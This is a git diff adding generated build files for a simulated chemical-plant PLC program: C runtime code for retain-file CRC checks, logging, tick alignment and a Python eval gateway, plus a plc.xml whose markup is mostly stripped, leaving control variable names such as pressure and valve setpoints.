0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, + 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, + 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, + 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, + 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, + 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, + 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, + 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, + 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, + 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, + 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, + 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, + 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, + 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, + 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, + 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, + 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, + 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, + 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, + 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, + 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, + 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, + 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, + 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, + 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, + 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, + 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D, +}; +uint32_t retain_crc; + + +/* Calculate CRC32 for len bytes from pointer buf with init starting value. */ +uint32_t GenerateCRC32Sum(const void* buf, unsigned int len, uint32_t init) +{ + uint32_t crc = ~init; + unsigned char* current = (unsigned char*) buf; + while (len--) + crc = crc32_table[(crc ^ *current++) & 0xFF] ^ (crc >> 8); + return ~crc; +} + +/* Calc CRC32 for retain file byte by byte. */ +int CheckFileCRC(FILE* file_buffer) +{ + /* Set the magic constant for one-pass CRC calc according to ZIP CRC32. */ + const uint32_t magic_number = 0x2144df1c; + + /* CRC initial state. */ + uint32_t calc_crc32 = 0; + char data_block = 0; + + while(!feof(file_buffer)){ + if (fread(&data_block, sizeof(data_block), 1, file_buffer)) + calc_crc32 = GenerateCRC32Sum(&data_block, sizeof(char), calc_crc32); + } + + /* Compare crc result with a magic number. */ + return (calc_crc32 == magic_number) ? 1 : 0; +} + +/* Compare current hash with hash from file byte by byte. */ +int CheckFilehash(void) +{ + int k; + int offset = sizeof(retain_info.retain_size); + + rewind(retain_buffer); + fseek(retain_buffer, offset , SEEK_SET); + + uint32_t size; + fread(&size, sizeof(size), 1, retain_buffer); + if (size != retain_info.hash_size) + return 0; + + for(k = 0; k < retain_info.hash_size; k++){ + uint8_t file_digit; + fread(&file_digit, sizeof(char), 1, retain_buffer); + if (file_digit != *(retain_info.hash+k)) + return 0; + } + + return 1; +} + +void InitRetain(void) +{ + int i; + + /* Get retain size in bytes */ + retain_info.retain_size = GetRetainSize(); + + /* Hash stored in retain file as array of char in hex digits + (that's why we divide strlen in two). */ + retain_info.hash_size = PLC_ID ? strlen(PLC_ID)/2 : 0; + //retain_info.hash_size = 0; + retain_info.hash = malloc(retain_info.hash_size); + + /* Transform hash string into byte sequence. */ + for (i = 0; i < retain_info.hash_size; i++) { + int byte = 0; + sscanf((PLC_ID + i*2), "%02X", &byte); + retain_info.hash[i] = byte; + } + + /* Calc header offset. */ + retain_info.header_offset = sizeof(retain_info.retain_size) + \ + sizeof(retain_info.hash_size) + \ + retain_info.hash_size; + + /* Set header CRC initial state. */ + retain_info.header_crc = 0; + + /* Calc crc for header. */ + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.retain_size, + sizeof(retain_info.retain_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.hash_size, + sizeof(retain_info.hash_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + retain_info.hash, + retain_info.hash_size, + retain_info.header_crc); +} + +void CleanupRetain(void) +{ + /* Free hash memory. */ + free(retain_info.hash); +} + +int CheckRetainFile(const char * file) +{ + retain_buffer = fopen(file, "rb"); + if (retain_buffer) { + /* Check CRC32 and hash. */ + if (CheckFileCRC(retain_buffer)) + if (CheckFilehash()) + return 1; + fclose(retain_buffer); + retain_buffer = NULL; + } + return 0; +} + +int CheckRetainBuffer(void) +{ + retain_buffer = NULL; + if (!retain_info.retain_size) + return 1; + + /* Check latest retain file. */ + if (CheckRetainFile(rb_file)) + return 1; + + /* Check if we have backup. */ + if (CheckRetainFile(rb_file_bckp)) + return 1; + + /* We don't have any valid retain buffer - nothing to remind. */ + return 0; +} + +#ifndef FILE_RETAIN_SAVE_PERIOD_S +#define FILE_RETAIN_SAVE_PERIOD_S 1.0 +#endif + +static double CalcDiffSeconds(IEC_TIME* t1, IEC_TIME *t2) +{ + IEC_TIME dt ={ + t1->tv_sec - t2->tv_sec, + t1->tv_nsec - t2->tv_nsec + }; + + if ((dt.tv_nsec < -1000000000) || ((dt.tv_sec > 0) && (dt.tv_nsec < 0))){ + dt.tv_sec--; + dt.tv_nsec += 1000000000; + } + if ((dt.tv_nsec > +1000000000) || ((dt.tv_sec < 0) && (dt.tv_nsec > 0))){ + dt.tv_sec++; + dt.tv_nsec -= 1000000000; + } + return dt.tv_sec + 1e-9*dt.tv_nsec; +} + + +int RetainSaveNeeded(void) +{ + int ret = 0; + static IEC_TIME last_save; + IEC_TIME now; + double diff_s; + + /* no retain */ + if (!retain_info.retain_size) + return 0; + + /* periodic retain flush to avoid high I/O load */ + PLC_GetTime(&now); + + diff_s = CalcDiffSeconds(&now, &last_save); + + if ((diff_s > FILE_RETAIN_SAVE_PERIOD_S) || ForceSaveRetainReq()) { + ret = 1; + last_save = now; + } + return ret; +} + +void ValidateRetainBuffer(void) +{ + if (!retain_buffer) + return; + + /* Add retain data CRC to the end of buffer file. */ + fseek(retain_buffer, 0, SEEK_END); + fwrite(&retain_crc, sizeof(uint32_t), 1, retain_buffer); + + /* Sync file buffer and close file. */ +#ifdef __WIN32 + fflush(retain_buffer); +#else + fsync(fileno(retain_buffer)); +#endif + + fclose(retain_buffer); + retain_buffer = NULL; +} + +void InValidateRetainBuffer(void) +{ + if (!RetainSaveNeeded()) + return; + + /* Rename old retain file into *.bak if it exists. */ + rename(rb_file, rb_file_bckp); + + /* Set file CRC initial value. */ + retain_crc = retain_info.header_crc; + + /* Create new retain file. */ + retain_buffer = fopen(rb_file, "wb+"); + if (!retain_buffer) { + fprintf(stderr, "Failed to create retain file : %s\n", rb_file); + return; + } + + /* Write header to the new file. */ + fwrite(&retain_info.retain_size, + sizeof(retain_info.retain_size), 1, retain_buffer); + fwrite(&retain_info.hash_size, + sizeof(retain_info.hash_size), 1, retain_buffer); + fwrite(retain_info.hash , + sizeof(char), retain_info.hash_size, retain_buffer); +} + +void Retain(unsigned int offset, unsigned int count, void *p) +{ + if (!retain_buffer) + return; + + /* Generate CRC 32 for each data block. */ + retain_crc = GenerateCRC32Sum(p, count, retain_crc); + + /* Save current var in file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fwrite(p, count, 1, retain_buffer); +} + +void Remind(unsigned int offset, unsigned int count, void *p) +{ + /* Remind variable from file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fread((void *)p, count, 1, retain_buffer); +} +#endif // !HAVE_RETAIN +/** + * Tail of code common to all C targets + **/ + +/** + * LOGGING + **/ +#ifndef TARGET_LOGGING_DISABLE + +#ifndef LOG_BUFFER_SIZE +#define LOG_BUFFER_SIZE (1<<14) /*16Ko*/ +#endif +#ifndef LOG_BUFFER_ATTRS +#define LOG_BUFFER_ATTRS +#endif + +#define LOG_BUFFER_MASK (LOG_BUFFER_SIZE-1) + +static char LogBuff[LOG_LEVELS][LOG_BUFFER_SIZE] LOG_BUFFER_ATTRS; +static void inline copy_to_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(&LogBuff[level][buffpos], buf, size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(&LogBuff[level][buffpos], buf, remaining); + memcpy(LogBuff[level], (char*)buf + remaining, size - remaining); + } +} +static void inline copy_from_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(buf, &LogBuff[level][buffpos], size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(buf, &LogBuff[level][buffpos], remaining); + memcpy((char*)buf + remaining, LogBuff[level], size - remaining); + } +} + +/* Log buffer structure + + |<-Tail1.msgsize->|<-sizeof(mTail)->|<--Tail2.msgsize-->|<-sizeof(mTail)->|... + | Message1 Body | Tail1 | Message2 Body | Tail2 | + +*/ +typedef struct { + uint32_t msgidx; + uint32_t msgsize; + unsigned long tick; + IEC_TIME time; +} mTail; + +/* Log cursor : 64b + |63 ... 32|31 ... 0| + | Message | Buffer | + | counter | Index | */ +static uint64_t LogCursor[LOG_LEVELS] LOG_BUFFER_ATTRS = {0x0,0x0,0x0,0x0}; + +void ResetLogCount(void) { + uint8_t level; + for(level=0;level> 32); + new_cursor = ((uint64_t)(tail.msgidx + 1)<<32) + | (uint64_t)((buffpos + size + sizeof(mTail)) & LOG_BUFFER_MASK); + }while(AtomicCompareExchange64( + (long long*)&LogCursor[level], + (long long)old_cursor, + (long long)new_cursor)!=(long long)old_cursor); + + copy_to_log(level, buffpos, buf, size); + copy_to_log(level, (buffpos + size) & LOG_BUFFER_MASK, &tail, sizeof(mTail)); + + return 1; /* Success */ + }else{ + char mstr[] = "Logging error : message too big"; + LogMessage(LOG_CRITICAL, mstr, sizeof(mstr)); + } + return 0; +} + +uint32_t GetLogCount(uint8_t level){ + return (uint64_t)LogCursor[level] >> 32; +} + +/* Return message size and content */ +uint32_t GetLogMessage(uint8_t level, uint32_t msgidx, char* buf, uint32_t max_size, uint32_t* tick, uint32_t* tv_sec, uint32_t* tv_nsec){ + uint64_t cursor = LogCursor[level]; + if(cursor){ + /* seach cursor */ + uint32_t stailpos = (uint32_t)cursor; + uint32_t smsgidx; + mTail tail; + tail.msgidx = cursor >> 32; + tail.msgsize = 0; + + /* Message search loop */ + do { + smsgidx = tail.msgidx; + stailpos = (stailpos - sizeof(mTail) - tail.msgsize ) & LOG_BUFFER_MASK; + copy_from_log(level, stailpos, &tail, sizeof(mTail)); + }while((tail.msgidx == smsgidx - 1) && (tail.msgidx > msgidx)); + + if(tail.msgidx == msgidx){ + uint32_t sbuffpos = (stailpos - tail.msgsize ) & LOG_BUFFER_MASK; + uint32_t totalsize = tail.msgsize; + *tick = tail.tick; + *tv_sec = tail.time.tv_sec; + *tv_nsec = tail.time.tv_nsec; + copy_from_log(level, sbuffpos, buf, + totalsize > max_size ? max_size : totalsize); + return totalsize; + } + } + return 0; +} + +#endif + +#ifndef TARGET_EXT_SYNC_DISABLE + +#define CALIBRATED -2 +#define NOT_CALIBRATED -1 +static int calibration_count = NOT_CALIBRATED; +static IEC_TIME cal_begin; +static long long Tsync = 0; +static long long FreqCorr = 0; +static int Nticks = 0; +static unsigned long last_tick = 0; + +/* + * Called on each external periodic sync event + * make PLC tick synchronous with external sync + * ratio defines when PLC tick occurs between two external sync + * @param sync_align_ratio + * 0->100 : align ratio + * < 0 : no align, calibrate period + **/ +void align_tick(int sync_align_ratio) +{ + /* + printf("align_tick(%d)\n", calibrate); + */ + if(sync_align_ratio < 0){ /* Calibration */ + if(calibration_count == CALIBRATED) + /* Re-calibration*/ + calibration_count = NOT_CALIBRATED; + if(calibration_count == NOT_CALIBRATED) + /* Calibration start, get time*/ + PLC_GetTime(&cal_begin); + calibration_count++; + }else{ /* do alignment (if possible) */ + if(calibration_count >= 0){ + /* End of calibration */ + /* Get final time */ + IEC_TIME cal_end; + PLC_GetTime(&cal_end); + /*adjust calibration_count*/ + calibration_count++; + /* compute mean of Tsync, over calibration period */ + Tsync = ((long long)(cal_end.tv_sec - cal_begin.tv_sec) * (long long)1000000000 + + (cal_end.tv_nsec - cal_begin.tv_nsec)) / calibration_count; + if( (Nticks = (Tsync / common_ticktime__)) > 0){ + FreqCorr = (Tsync % common_ticktime__); /* to be divided by Nticks */ + }else{ + FreqCorr = Tsync - (common_ticktime__ % Tsync); + } + /* + printf("Tsync = %ld\n", Tsync); + printf("calibration_count = %d\n", calibration_count); + printf("Nticks = %d\n", Nticks); + */ + calibration_count = CALIBRATED; + } + if(calibration_count == CALIBRATED){ + /* Get Elapsed time since last PLC tick (__CURRENT_TIME) */ + IEC_TIME now; + long long elapsed; + long long Tcorr; + long long PhaseCorr; + long long PeriodicTcorr; + PLC_GetTime(&now); + elapsed = (now.tv_sec - __CURRENT_TIME.tv_sec) * 1000000000 + now.tv_nsec - __CURRENT_TIME.tv_nsec; + if(Nticks > 0){ + PhaseCorr = elapsed - (common_ticktime__ + FreqCorr/Nticks)*sync_align_ratio/100; /* to be divided by Nticks */ + Tcorr = common_ticktime__ + (PhaseCorr + FreqCorr) / Nticks; + if(Nticks < 2){ + /* When Sync source period is near Tick time */ + /* PhaseCorr may not be applied to Periodic time given to timer */ + PeriodicTcorr = common_ticktime__ + FreqCorr / Nticks; + }else{ + PeriodicTcorr = Tcorr; + } + }else if(__tick > last_tick){ + last_tick = __tick; + PhaseCorr = elapsed - (Tsync*sync_align_ratio/100); + PeriodicTcorr = Tcorr = common_ticktime__ + PhaseCorr + FreqCorr; + }else{ + /*PLC did not run meanwhile. Nothing to do*/ + return; + } + /* DO ALIGNEMENT */ + PLC_SetTimer(Tcorr - elapsed, PeriodicTcorr); + } + } +} + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.o new file mode 100644 index 0000000..e22d7cc --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/py_ext.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/py_ext.c new file mode 100644 index 0000000..1343d89 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/py_ext.c @@ -0,0 +1,221 @@ +/* + * Python Asynchronous execution code + * + * PLC put python commands in a fifo, respecting execution order + * with the help of C pragmas inserted in python_eval FB code + * + * Buffer content is read asynchronously, (from non real time part), + * commands are executed and result stored for later use by PLC. + * + * In this implementation, fifo is a list of pointer to python_eval + * function blocks structures. Some local variables have been added in + * python_eval interface. We use those local variables as buffer and state + * flags. + * + * */ + +#include "iec_types_all.h" +#include "POUS.h" +#include + +/* The fifo (fixed size, as number of FB is fixed) */ +static PYTHON_EVAL* EvalFBs[1]; +/* Producer and consumer cursors */ +static int Current_PLC_EvalFB; +static int Current_Python_EvalFB; + +/* A global IEC-Python gateway state, for use inside python_eval FBs*/ +static int PythonState; +#define PYTHON_LOCKED_BY_PYTHON 0 +#define PYTHON_LOCKED_BY_PLC 1 +#define PYTHON_MUSTWAKEUP 2 +#define PYTHON_FINISHED 4 + +/* Each python_eval FunctionBlock have it own state */ +#define PYTHON_FB_FREE 0 +#define PYTHON_FB_REQUESTED 1 +#define PYTHON_FB_PROCESSING 2 +#define PYTHON_FB_ANSWERED 3 + +int WaitPythonCommands(void); +void UnBlockPythonCommands(void); +int TryLockPython(void); +void UnLockPython(void); +void LockPython(void); + +int __init_py_ext() +{ + int i; + /* Initialize cursors */ + Current_Python_EvalFB = 0; + Current_PLC_EvalFB = 0; + PythonState = PYTHON_LOCKED_BY_PYTHON; + for(i = 0; i < 1; i++) + EvalFBs[i] = NULL; + return 0; +} + +void __cleanup_py_ext() +{ + PythonState = PYTHON_FINISHED; + UnBlockPythonCommands(); +} + +void __retrieve_py_ext() +{ + /* Check Python thread is not being + * modifying internal python_eval data */ + PythonState = TryLockPython() ? + PYTHON_LOCKED_BY_PLC : + PYTHON_LOCKED_BY_PYTHON; + /* If python thread _is_ in, then PythonState remains PYTHON_LOCKED_BY_PYTHON + * and python_eval will no do anything */ +} + +void __publish_py_ext() +{ + if(PythonState & PYTHON_LOCKED_BY_PLC){ + /* If runnig PLC did push something in the fifo*/ + if(PythonState & PYTHON_MUSTWAKEUP){ + /* WakeUp python thread */ + UnBlockPythonCommands(); + } + UnLockPython(); + } +} +/** + * Called by the PLC, each time a python_eval + * FB instance is executed + */ +void __PythonEvalFB(int poll, PYTHON_EVAL* data__) +{ + if(!__GET_VAR(data__->TRIG)){ + /* ACK is False when TRIG is false, except a pulse when receiving result */ + __SET_VAR(data__->, ACK,, 0); + } + /* detect rising edge on TRIG to trigger evaluation */ + if(((__GET_VAR(data__->TRIG) && !__GET_VAR(data__->TRIGM1)) || + /* polling is equivalent to trig on value rather than on rising edge*/ + (poll && __GET_VAR(data__->TRIG) )) && + /* trig only if not already trigged */ + __GET_VAR(data__->TRIGGED) == 0){ + /* mark as trigged */ + __SET_VAR(data__->, TRIGGED,, 1); + /* make a safe copy of the code */ + __SET_VAR(data__->, PREBUFFER,, __GET_VAR(data__->CODE)); + } + /* retain value for next rising edge detection */ + __SET_VAR(data__->, TRIGM1,, __GET_VAR(data__->TRIG)); + + /* python thread is not in ? */ + if( PythonState & PYTHON_LOCKED_BY_PLC){ + /* if some answer are waiting, publish*/ + if(__GET_VAR(data__->STATE) == PYTHON_FB_ANSWERED){ + /* Copy buffer content into result*/ + __SET_VAR(data__->, RESULT,, __GET_VAR(data__->BUFFER)); + /* signal result presence to PLC*/ + __SET_VAR(data__->, ACK,, 1); + /* Mark as free */ + __SET_VAR(data__->, STATE,, PYTHON_FB_FREE); + /* mark as not trigged */ + if(!poll) + __SET_VAR(data__->, TRIGGED,, 0); + /*printf("__PythonEvalFB pop %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + }else if(poll){ + /* when in polling, no answer == ack down */ + __SET_VAR(data__->, ACK,, 0); + } + /* got the order to act ?*/ + if(__GET_VAR(data__->TRIGGED) == 1 && + /* and not already being processed */ + __GET_VAR(data__->STATE) == PYTHON_FB_FREE) + { + /* Enter the block in the fifo + * Don't have to check if fifo cell is free + * as fifo size == FB count, and a FB cannot + * be requested twice */ + EvalFBs[Current_PLC_EvalFB] = data__; + /* copy into BUFFER local*/ + __SET_VAR(data__->, BUFFER,, __GET_VAR(data__->PREBUFFER)); + /* Set ACK pin to low so that we can set a rising edge on result */ + if(!poll){ + /* when not polling, a new answer imply reseting ack*/ + __SET_VAR(data__->, ACK,, 0); + }else{ + /* when in polling, acting reset trigger */ + __SET_VAR(data__->, TRIGGED,, 0); + } + /* Mark FB busy */ + __SET_VAR(data__->, STATE,, PYTHON_FB_REQUESTED); + /* Have to wakeup python thread in case he was asleep */ + PythonState |= PYTHON_MUSTWAKEUP; + /*printf("__PythonEvalFB push %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + /* Get a new line */ + Current_PLC_EvalFB = (Current_PLC_EvalFB + 1) % 1; + } + } +} + +char* PythonIterator(char* result, void** id) +{ + char* next_command; + PYTHON_EVAL* data__; + //printf("PythonIterator result %s\n", result); + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + /* take python mutex to prevent changing PLC data while PLC running */ + LockPython(); + /* Get current FB */ + data__ = EvalFBs[Current_Python_EvalFB]; + if(data__ && /* may be null at first run */ + __GET_VAR(data__->STATE) == PYTHON_FB_PROCESSING){ /* some answer awaited*/ + /* If result not None */ + if(result){ + /* Get results len */ + __SET_VAR(data__->, BUFFER, .len, strlen(result)); + /* prevent results overrun */ + if(__GET_VAR(data__->BUFFER, .len) > STR_MAX_LEN) + { + __SET_VAR(data__->, BUFFER, .len, STR_MAX_LEN); + /* TODO : signal error */ + } + /* Copy results to buffer */ + strncpy((char*)__GET_VAR(data__->BUFFER, .body), result, __GET_VAR(data__->BUFFER,.len)); + }else{ + __SET_VAR(data__->, BUFFER, .len, 0); + } + /* remove block from fifo*/ + EvalFBs[Current_Python_EvalFB] = NULL; + /* Mark block as answered */ + __SET_VAR(data__->, STATE,, PYTHON_FB_ANSWERED); + /* Get a new line */ + Current_Python_EvalFB = (Current_Python_EvalFB + 1) % 1; + //printf("PythonIterator ++ Current_Python_EvalFB %d\n", Current_Python_EvalFB); + } + /* while next slot is empty */ + while(((data__ = EvalFBs[Current_Python_EvalFB]) == NULL) || + /* or doesn't contain command */ + __GET_VAR(data__->STATE) != PYTHON_FB_REQUESTED) + { + UnLockPython(); + /* wait next FB to eval */ + //printf("PythonIterator wait\n"); + if(WaitPythonCommands()) return NULL; + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + LockPython(); + } + /* Mark block as processing */ + __SET_VAR(data__->, STATE,, PYTHON_FB_PROCESSING); + //printf("PythonIterator\n"); + /* make BUFFER a null terminated string */ + __SET_VAR(data__->, BUFFER, .body[__GET_VAR(data__->BUFFER, .len)], 0); + /* next command is BUFFER */ + next_command = (char*)__GET_VAR(data__->BUFFER, .body); + *id=data__; + /* free python mutex */ + UnLockPython(); + /* return the next command to eval */ + return next_command; +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/py_ext.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/py_ext.o new file mode 100644 index 0000000..79ca9f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/py_ext.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/plc.xml b/plc/GRFICS_Workstation_Docs/Documents/chemical/plc.xml new file mode 100644 index 0000000..ab595e3 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/plc.xml @@ -0,0 +1,5125 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_setpoint + + + + + + + a_in_purge + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_sp + + + + + + + + + + + + + f2_valve_sp + + + + + + + pressure_sp + + + + + + + pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_pos + + + + + + + f2_valve_pos + + + + + + + purge_valve_pos + + + + + + + + + + + + + purge_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + flow_set + + + + + + + override_sp + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + level_sp + + + + + + + product_valve_pos + + + + + + + + + + + + + product_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + a_setpoint + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + pressure_sp + + + + + + + + + + + + + override_sp + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + run_bit + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + purge_valve_sp + + + + + + + + + + + + + product_valve_sp + + + + + + + + + + + + + + + f1_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_valve_sp + + + + + + + 0 + + + + + + + 65535 + + + + + + + 65535 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_sp_real + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + 